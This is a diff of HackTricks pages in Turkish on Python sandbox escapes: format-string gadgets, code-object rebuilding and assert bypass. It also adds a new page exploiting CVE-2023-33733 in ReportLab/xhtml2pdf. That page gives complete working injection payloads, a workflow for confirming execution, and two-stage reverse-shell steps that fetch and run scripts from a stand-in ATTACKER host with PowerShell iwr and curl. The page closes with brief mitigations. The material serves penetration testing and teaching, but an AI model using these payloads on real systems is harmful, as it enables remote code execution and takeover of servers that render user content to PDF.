_ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Yerleşiklerin, Global Değişkenlerin Tekrar Eden Araması...
## Builtins, Globals... için Özyinelemeli Arama
> [!WARNING]
> Bu gerçekten **harika**. Eğer **globals, builtins, open veya herhangi bir nesne arıyorsanız** bu scripti kullanarak **o nesneyi bulabileceğiniz yerleri tekrar eden şekilde bulun.**
> Bu gerçekten **harika**. Eğer **globals, builtins, open gibi bir obje arıyorsanız** sadece bu **script'i** kullanarak o objeyi bulabileceğiniz yerleri **özyinelemeli olarak bulun.**
```python
import os, sys # Import these to find more gadgets
@ -654,7 +666,8 @@ print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
Bu scriptin çıktısını bu sayfada kontrol edebilirsiniz:
Bu scriptin çıktısını şu sayfada kontrol edebilirsiniz:
{{#ref}}
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
@ -662,7 +675,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python Format String
Eğer **formatlanacak** bir **string**'i python'a **gönderirseniz**, **python iç bilgilerine** erişmek için `{}` kullanabilirsiniz. Örneğin, global veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz.
Eğer **send** ettiğiniz bir **string** python'a **formatted** edilecekse, `{}` kullanarak **python internal information**'a erişebilirsiniz. Örneğin globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -682,16 +695,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Not edin ki **niteliklere** normal bir şekilde **nokta** ile `people_obj.__init__` ve **dict elemanına** **parantez** ile tırnaksız `__globals__[CONFIG]` erişebilirsiniz.
Bir nesnenin **özelliklerine** normal şekilde bir **nokta** ile (`people_obj.__init__`) ve tırnaksız köşeli parantezle **dict öğesine** (`__globals__[CONFIG]`) nasıl erişebileceğinize dikkat edin.
Ayrıca, bir nesnenin elemanlarını listelemek için `.__dict__` kullanabileceğinizi unutmayın `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Ayrıca bir nesnenin elemanlarını listelemek için `.__dict__` kullanabileceğinizi de unutmayın: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Format dizelerinin bazı diğer ilginç özellikleri, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** **fonksiyonlarını** sırasıyla **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırma** olanağıdır:
Format string'lerin bazı diğer ilginç özelliklerinden biri, belirtilen nesne üzerinde **`str`**, **`repr`** ve **`ascii`** **fonksiyonlarını** sırasıyla **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırabilme** imkanıdır:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Ayrıca, sınıflarda **yeni formatlayıcılar** kodlamak mümkündür:
Ayrıca, sınıflarda **yeni formatlayıcılar kodlamak** mümkündür:
```python
class HAL9000(object):
def __format__(self, format):
@ -702,16 +715,17 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Daha fazla örnek** hakkında **format** **string** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir.
**Daha fazla örnek** için **format** **string** örnekleri şu adreste bulunabilir: [**https://pyformat.info/**](https://pyformat.info)
> [!CAUTION]
> Ayrıca aşağıdaki sayfayı, r**ead sensitive information from Python internal objects** yapan gadgets için de kontrol edin:
> [!DİKKAT]
> Ayrıca, **Python iç nesnelerinden hassas bilgileri okuyacak** aletler için aşağıdaki sayfayı kontrol edin:
{{#ref}}
../python-internal-read-gadgets.md
{{#endref}}
### Hassas Bilgi Sızdırma Yükleri
### Hassas Bilgi ığa Çıkarma Payload'ları
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -733,16 +747,16 @@ From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-a
### From format to RCE loading libraries
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
[**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) göre, python'daki format string zafiyetini suistimal ederek diskten rastgele kütüphaneler yüklemek mümkün.
Hatırlatma olarak, python'da her bir işlem gerçekleştirildiğinde bir fonksiyon çalıştırılır. Örneğin `2*3` **`(2).mul(3)`** veya **`{'a':'b'}['a']`** **`{'a':'b'}.__getitem__('a')`** olarak çalıştırılacaktır.
Hatırlatma olarak, python'da her işlem yapıldığında bazı fonksiyonlar çalıştırılır. Örneğin `2*3` şu fonksiyonu çalıştırır: **`(2).mul(3)`** veya **`{'a':'b'}['a']`** şu şekilde çalışır: **`{'a':'b'}.__getitem__('a')`**.
Bunun gibi daha fazlasını [**Python execution without calls**](#python-execution-without-calls) bölümünde bulabilirsiniz.
Bunun gibi daha fazla örneğe [**Python execution without calls**](#python-execution-without-calls) bölümünde ulabilirsiniz.
Bir python format string zafiyeti, fonksiyon çalıştırılmasına izin vermez (parantez kullanılmasına izin vermez), bu nedenle `'{0.system("/bin/sh")}'.format(os)` gibi RCE elde etmek mümkün değildir.\
Ancak, `[]` kullanmak mümkündür. Bu nedenle, yaygın bir python kütüphanesi **`__getitem__`** veya **`__getattr__`** metoduna sahipse ve bu metodlar rastgele kod çalıştırıyorsa, bunları kullanarak RCE elde etmek mümkündür.
Bir python format string zafiyeti fonksiyon çalıştırmaya izin vermez (parantez kullanmaya izin vermez), bu yüzden `'{0.system("/bin/sh")}'.format(os)`.\
gibi bir RCE elde etmek mümkün değildir. Ancak `[]` kullanmak mümkündür. Bu nedenle, yaygın bir python kütüphanesinin rastgele kod çalıştıran bir **`__getitem__`** veya **`__getattr__`** metoduna sahipse, bunlar suistimal edilerek RCE elde etmek mümkündür.
Python'da böyle bir gadget ararken, yazıda bu [**Github arama sorgusu**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) önerilmektedir. Burada bu [birini](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) bulmuştur:
python'da böyle bir gadget ararken, writeup şu [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) öneriyor. Orada şu [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) bulundu:
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -764,20 +778,20 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Bu alet, **diskten bir kütüphane yüklemeye** olanak tanır. Bu nedenle, saldırıya uğrayan sunucuya **doğru bir şekilde derlenmiş kütüphaneyi yazmak veya yüklemek** gerekmektedir.
Bu gadget diskten **kütüphane yüklemeye** izin verir. Bu nedenle, yüklenecek kütüphaneyi hedef sunucuya doğru şekilde derlenmiş olarak **yazmak veya yüklemek** gerekir.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
Bu zorluk, sunucunun diskinde keyfi dosyalar oluşturulmasına izin veren başka bir güvenlik açığını istismar ediyor.
Bu challenge aslında sunucunun diskine rastgele dosyalar oluşturulmasına izin veren başka bir zafiyeti suistimal ediyor.
## Python Nesnelerini İncelemek
## Python Nesnelerinin İncelenmesi
> [!TIP]
> Eğer **python bytecode** hakkında derinlemesine **öğrenmek** istiyorsanız, bu konu hakkında **harika** yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> Eğer **python bytecode** hakkında derinlemesine **öğrenmek** istiyorsanız, konuyla ilgili bu **harika** yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
Bazı CTF'lerde, **bayrağın** bulunduğu **özel bir fonksiyonun adı** verilebilir ve onu çıkarmak için **fonksiyonun** **iç yapısını** görmeniz gerekebilir.
Bazı CTF'lerde **custom function where the flag** adını alabilirsiniz ve flag'i çıkarmak için **function**'ın **internals**'ını görmeniz gerekir.
İncelenecek fonksiyon:
İncelenecek function şudur:
```python
def get_flag(some_input):
var1=1
@ -788,7 +802,7 @@ return "THIS-IS-THE-FALG!"
else:
return "Nope"
```
#### dizin
#### dir
```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
@ -797,7 +811,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` ve `func_globals` (Aynı) Küresel ortamı elde eder. Örnekte bazı içe aktarılan modülleri, bazı küresel değişkenleri ve bunların içeriğini görebilirsiniz:
`__globals__` and `func_globals` (Aynı) global ortamı elde eder. Örnekte bazı import edilmiş modülleri, bazı global değişkenleri ve bunların içeriklerini görebilirsiniz:
```python
get_flag.func_globals
get_flag.__globals__
@ -806,11 +820,11 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**Daha fazla global elde etme yeri için buraya bakın**](#globals-and-locals)
[**See here more places to obtain globals**](#globals-and-locals)
### **Fonksiyon koduna erişim**
**`__code__`** ve `func_code`: Fonksiyonun **kod nesnesini elde etmek için** bu **özelliğe** **erişebilirsiniz**.
**`__code__`** ve `func_code`: Bu fonksiyonun bu **özelliğine** **erişerek** fonksiyonun **kod nesnesini** elde edebilirsiniz.
```python
# In our current example
get_flag.__code__
@ -870,7 +884,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **Bir fonksiyonu parçalamak**
### **Bir function'ı disassembly etmek**
```python
import dis
dis.dis(get_flag)
@ -898,7 +912,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Dikkat edin ki **eğer python sandbox'ında `dis` modülünü içe aktaramıyorsanız** fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) alabilir ve bunu yerel olarak **dağıtabilirsiniz**. Yüklenen değişkenlerin içeriğini göremezsiniz (`LOAD_CONST`) ama bunları (`get_flag.func_code.co_consts`) kullanarak tahmin edebilirsiniz çünkü `LOAD_CONST` aynı zamanda yüklenen değişkenin ofsetini de belirtir.
Unutmayın ki **eğer python sandbox'ta `dis` modülünü import edemiyorsanız** fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) elde edip yerel olarak **disassemble** edebilirsiniz. Yüklenen değişkenlerin içeriğini (`LOAD_CONST`) göremezsiniz ama onları (`get_flag.func_code.co_consts`)'dan tahmin edebilirsiniz çünkü `LOAD_CONST` ayrıca yüklenen değişkenin offset'ini söyler.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -920,10 +934,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## Python Derleme
## Python'ı Derleme
Şimdi, bir şekilde **çalıştıramadığınız bir fonksiyon hakkında bilgileri dökebildiğinizi** ama onu **çalıştırmanız gerektiğini** hayal edelim.\
Aşağıdaki örnekte olduğu gibi, o fonksiyonun **kod nesnesine erişebiliyorsunuz**, ancak sadece ayrıştırmayı okuyarak **bayrağı nasıl hesaplayacağınızı bilmiyorsunuz** (_daha karmaşık bir `calc_flag` fonksiyonu hayal edin_)
Şimdi, bir şekilde **dump edilen ve çalıştıramadığınız bir fonksiyona ait bilgileri** elde edebildiğinizi ama onu **çalıştırmanız** **gerekiyor** hayal edelim.\
Aşağıdaki örnekte olduğu gibi, o fonksiyonun **code object**'ına erişebilirsiniz, fakat sadece **disassemble**'ı okuyarak **flag**'i nasıl hesaplayacağınızı bilemezsiniz (_daha karmaşık bir `calc_flag` fonksiyonunu hayal edin_)
```python
def get_flag(some_input):
var1=1
@ -936,9 +950,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Kod nesnesi oluşturma
### Code object oluşturma
Öncelikle, **bir kod nesnesinin nasıl oluşturulup çalıştırılacağını** bilmemiz gerekiyor, böylece sızdırılan fonksiyonumuzu çalıştırmak için bir tane oluşturabiliriz:
Her şeyden önce, **bir code object'i nasıl oluşturup çalıştıracağımızı** bilmemiz gerekiyor; böylece leaked olan fonksiyonumuzu çalıştırmak için bir tane oluşturabiliriz:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -958,7 +972,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> Python sürümüne bağlı olarak `code_type`'ın **parametreleri** **farklı bir sıraya** sahip olabilir. Kullandığınız python sürümündeki parametrelerin sırasını öğrenmenin en iyi yolu:
> python sürümüne bağlı olarak `code_type`'ın **parametreleri** farklı bir **sıraya** sahip olabilir. Kullandığınız python sürümündeki parametrelerin sırasını öğrenmenin en iyi yolu şudur:
>
> ```
> import types
@ -966,10 +980,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### Sızdırılmış bir fonksiyonu yeniden oluşturma
### Bir leaked function'ı yeniden oluşturma
> [!WARNING]
> Aşağıdaki örnekte, fonksiyon kod nesnesinden doğrudan fonksiyonu yeniden oluşturmak için gereken tüm verileri alacağız. **Gerçek bir örnekte**, fonksiyonu çalıştırmak için gereken tüm **değerler** **sızdırmanız gerekenlerdir**.
> Aşağıdaki örnekte, function'ı yeniden oluşturmak için gereken tüm verileri function code object'undan doğrudan alacağız. Bir **gerçek örnekte**, function **`code_type`**'ı çalıştırmak için gerekli tüm **değerler** leak etmeniz gerekenlerdir.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -980,12 +994,12 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
### Savunmaları Aşma
### Savunmaları Atlatma
Bu gönderinin başındaki önceki örneklerde, **`compile` fonksiyonunu kullanarak herhangi bir python kodunu nasıl çalıştıracağınızı** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyle birlikte tam betikleri** bir **tek satırda** çalıştırabilirsiniz (ve aynı şeyi **`exec`** kullanarak da yapabiliriz).\
Her neyse, bazen bir **derlenmiş nesne** oluşturmak ve bunu **CTF makinesinde** çalıştırmak faydalı olabilir (örneğin, CTF'de `compiled` fonksiyonuna sahip olmadığımız için).
Bu yazının başındaki önceki örneklerde, **`compile` fonksiyonunu kullanarak herhangi bir python kodunun nasıl çalıştırılacağını** görebilirsiniz. Bu ilginçtir çünkü döngüler ve diğer her şeyle birlikte **tüm scriptleri** bir **tek satırda** çalıştırabilirsiniz (aynı şeyi **`exec`** kullanarak da yapabiliriz).\
Her neyse, bazen yerel bir makinede bir **compiled object** oluşturup bunu **CTF machine** üzerinde çalıştırmak faydalı olabilir (örneğin CTF'de `compiled` fonksiyonu olmadığı için).
Örneğin, _./poc.py_ dosyasını okuyan bir fonksiyonu manuel olarak derleyip çalıştıralım:
Örneğin, _./poc.py_'yi okuyan bir fonksiyonu manuel olarak compile edip çalıştıralım:
```python
#Locally
def read():
@ -1012,7 +1026,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Eğer `eval` veya `exec` erişiminiz yoksa, **uygun bir fonksiyon** oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hata ile sonuçlanacaktır: _constructor restricted mode'da erişilemez_. Bu nedenle, bu fonksiyonu çağırmak için **kısıtlı ortamda olmayan bir fonksiyona** ihtiyacınız var.
Eğer `eval` veya `exec`'e erişemiyorsanız **uygun bir fonksiyon** oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hatayla başarısız olur: _constructor kısıtlı modda erişilebilir değil_. Bu yüzden bu fonksiyonu çağırmak için **kısıtlı ortamın dışında bir fonksiyon** gerekir.
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1020,11 +1034,11 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Derlenmiş Python'u Decompile Etme
## Derlenmiş Python Dekomplasyonu
[**https://www.decompiler.com/**](https://www.decompiler.com) gibi araçlar kullanarak, verilen derlenmiş python kodunu **decompile** edebilirsiniz.
[**https://www.decompiler.com/**](https://www.decompiler.com) gibi araçlar kullanılarak verilen derlenmiş python kodu **decompile** edilebilir.
**Bu eğitimi kontrol edin**:
**Bu eğitime göz atın**:
{{#ref}}
@ -1035,8 +1049,8 @@ f(42)
### Assert
`-O` parametresi ile optimizasyonlarla çalıştırılan Python, assert ifadelerini ve **debug** değerine bağlı herhangi bir kodu kaldıracaktır.\
Bu nedenle, kontroller gibi
Parametresi `-O` ile optimizasyonlar etkinleştirilmiş olarak çalıştırılan Python, assert statements ve **debug** değerine bağlı tüm koşullu kodu kaldırır.\
Bu nedenle, şu tür kontroller:
```python
def check_permission(super_user):
try:
@ -1045,7 +1059,7 @@ print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
bypass edilecektir
atlatılacaktır
## Referanslar
@ -1055,5 +1069,8 @@ bypass edilecektir
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733)
- [0xdf: University (HTB) Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,79 @@
# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
{{#include ../../../banners/hacktricks-training.md}}
Bu sayfa, ReportLabin xhtml2pdf ve diğer PDF oluşturma boru hatlarında kullanıcı kontrollü HTMLi PDFe renderlarken kullanılan rl_safe_eval içinde pratik bir sandbox kaçışı ve RCE ilkelini belgelendirir.
CVE-2023-33733, ReportLab sürümlerini 3.6.12 dahil olmak üzere etkiler. Belirli öznitelik bağlamlarında (örneğin color) triple brackets [[[ ... ]]] ile sarılmış değerler rl_safe_eval tarafından sunucu tarafında değerlendirilir. Bir payload ile beyaz listede olan bir builtin (pow) üzerinden Python fonksiyonunun globalsına pivot yapılarak, saldırgan os modülüne ulaşabilir ve komut çalıştırabilir.
Temel noktalar
- Tetikleme: ReportLab/xhtml2pdf tarafından parse edilen işaretlemede <font color="..."> gibi değerlendirilen özniteliklere [[[ ... ]]] enjekte edin.
- Sandbox: rl_safe_eval tehlikeli builtinsleri değiştirir ancak değerlendirilen fonksiyonlar hâlâ __globals__ıığa çıkarır.
- Bypass: rl_safe_eval isim kontrollerini atlatmak ve bloke edilmiş dunder filtresinden kaçınarak "__globals__" stringine erişmek için geçici bir Word sınıfı oluşturun.
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- Stabilite: Çalıştırmadan sonra özniteliğe geçerli bir değer döndürün (color için 'red' kullanın).
Ne zaman test edilmeli
- HTML-to-PDF ihracı (profil, fatura, raporlar) sunan ve PDF meta verilerinde veya HTTP yanıt yorumlarında xhtml2pdf/ReportLab gösteren uygulamalar.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- PDF için HTTP yanıtı genellikle bir ReportLab generator yorumu ile başlar
Sandbox bypass nasıl çalışır
- rl_safe_eval birçok builtini kaldırır veya değiştirir (getattr, type, pow, ...) ve __ ile başlayan veya bir denylistte olan isimleri reddetmek için isim filtresi uygular.
- Ancak, güvenli fonksiyonlar func.__globals__ olarak erişilebilen bir globals sözlüğünde yaşar.
- Gerçek builtin type fonksiyonunu kurtarmak için type(type(1)) kullanın (ReportLabın sarmalayıcısını atlayarak), sonra karşılaştırma davranışı değiştirilmiş bir str türevi Word sınıfı tanımlayın, böylece:
- .startswith('__') → her zaman False döner (startswith('__') kontrolünü atlatır)
- .__eq__ ilk karşılaştırmada False döner (denylist üyelik kontrollerini atlatır) ve sonrasında True döner (böylece Python getattr çalışır)
- .__hash__ hash(str(self)) ile eşittir
- Bununla, getattr(pow, Word('__globals__')) sarmalanmış pow fonksiyonunun globals sözlüğünü döndürür; bu sözlük içe aktarılmış bir os modülünü içerir. Ardından: ['os'].system('<cmd>').
Minimal sömürü deseni (öznitelik örneği)
Payloadu değerlendirilen bir özniteliğin içine yerleştirin ve boolean ve 'red' ile özniteliğe geçerli bir değer döndüğünden emin olun.
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
- Liste-anlama formu rl_safe_eval için kabul edilebilir tek ifadeye izin verir.
- Sonundaki and 'red' bir geçerli CSS rengi döndürür böylece render bozulmaz.
- Komutu gerektiği gibi değiştirin; tcpdump ile çalıştırmayı doğrulamak için ping kullanın.
Operasyonel iş akışı
1) PDF üreteciyi tespit edin
- PDF Producer xhtml2pdf gösterir; HTTP yanıtı ReportLab yorumunu içerir.
2) PDFe yansıtılan bir girdi bulun (ör. profil bio/açıklama) ve bir ihracı tetikleyin.
3) Düşük gürültülü ICMP ile yürütmeyi doğrulayın
- Çalıştırın: sudo tcpdump -ni <iface> icmp
- Payload: ... system('ping <your_ip>') ...
- Windows genellikle varsayılan olarak tam olarak dört echo isteği gönderir.
4) Bir shell kurun
- Windows için, alıntılama/kodlama sorunlarını önlemek üzere güvenilir bir iki aşamalı yaklaşım:
- Aşama 1 (indirme):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Aşama 2 (çalıştırma):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Linux hedefler için curl/wget ile benzer iki aşamalı bir yöntem mümkündür:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
Notlar ve ipuçları
- Öznitelik bağlamları: color bilinen değerlendirilen bir özniteliktir; ReportLab işaretlemesindeki diğer öznitelikler de ifadeleri değerlendirebilir. Bir yer temizlenmişse, PDF akışına render edilen diğer yerlere (farklı alanlar, tablo stilleri, vb.) bakın.
- Alıntılama: Komutları kompakt tutun. İki aşamalı indirmeler alıntılama ve kaçış baş ağrılarını önemli ölçüde azaltır.
- Güvenilirlik: Eğer ihracatlar önbelleklenecek veya sıraya alınacaksa, önbelleğe çarpmamak için payloadu hafifçe değiştirin (ör. rastgele yol veya sorgu).
Önlemler ve tespit
- ReportLabi 3.6.13 veya daha yeni sürüme güncelleyin (CVE-2023-33733 düzeltildi). Dağıtım paketlerindeki güvenlik duyurularını da takip edin.
- Kullanıcı kontrollü HTML/işaretlemeyi xhtml2pdf/ReportLabe doğrudan vermeyin; katı sanitizasyon uygulayın. Güvenilmez giriş geldiğinde [[[...]]] değerlendirme yapıları ve vendor-spesifik etiketleri kaldırın/engelleyin.
- Untrusted girdiler için rl_safe_eval kullanımını tamamen devre dışı bırakmayı veya sarmalamayı düşünün.
- PDF oluşturma sırasında şüpheli giden bağlantıları izleyin (ör. belge ihracı yapılırken uygulama sunucularından giden ICMP/HTTP).
Referanslar
- PoC ve teknik analiz: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up (gerçek dünya sömürüsü, Windows iki aşamalı payloadlar): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD girdisi (etkilenen sürümler): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- xhtml2pdf docs (işaretleme/sayfa kavramları): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -3,48 +3,57 @@
{{#include ../../banners/hacktricks-training.md}}
## Önbellek Manipülasyonu ile RCE
Django'nun varsayılan önbellek depolama yöntemi [Python pickles](https://docs.python.org/3/library/pickle.html) olup, [güvenilmeyen girişler unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) olduğunda RCE'ye yol açabilir. **Eğer bir saldırgan önbelleğe yazma erişimi elde ederse, bu açığı temel sunucuda RCE'ye yükseltebilir**.
Django'nun varsayılan cache depolama yöntemi [Python pickles](https://docs.python.org/3/library/pickle.html) olup, [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) durumunda RCE'ye yol açabilir. **Eğer bir saldırgan cache'e yazma erişimi elde ederse, bu zafiyeti alttaki sunucuda RCE'ye yükseltebilirler**.
Django önbelleği dört yerden birinde depolanır: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [bellek](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [dosyalar](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) veya bir [veritabanı](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis sunucusunda veya veritabanında depolanan önbellek, en olası saldırı vektörleridir (Redis enjeksiyonu ve SQL enjeksiyonu), ancak bir saldırgan dosya tabanlı önbelleği kullanarak rastgele bir yazmayı RCE'ye dönüştürebilir. Bakımcılar bunu bir sorun olarak işaretlemiştir. Önbellek dosyası klasörünün, SQL tablo adının ve Redis sunucu bilgilerinin uygulamaya göre değişeceğini belirtmek önemlidir.
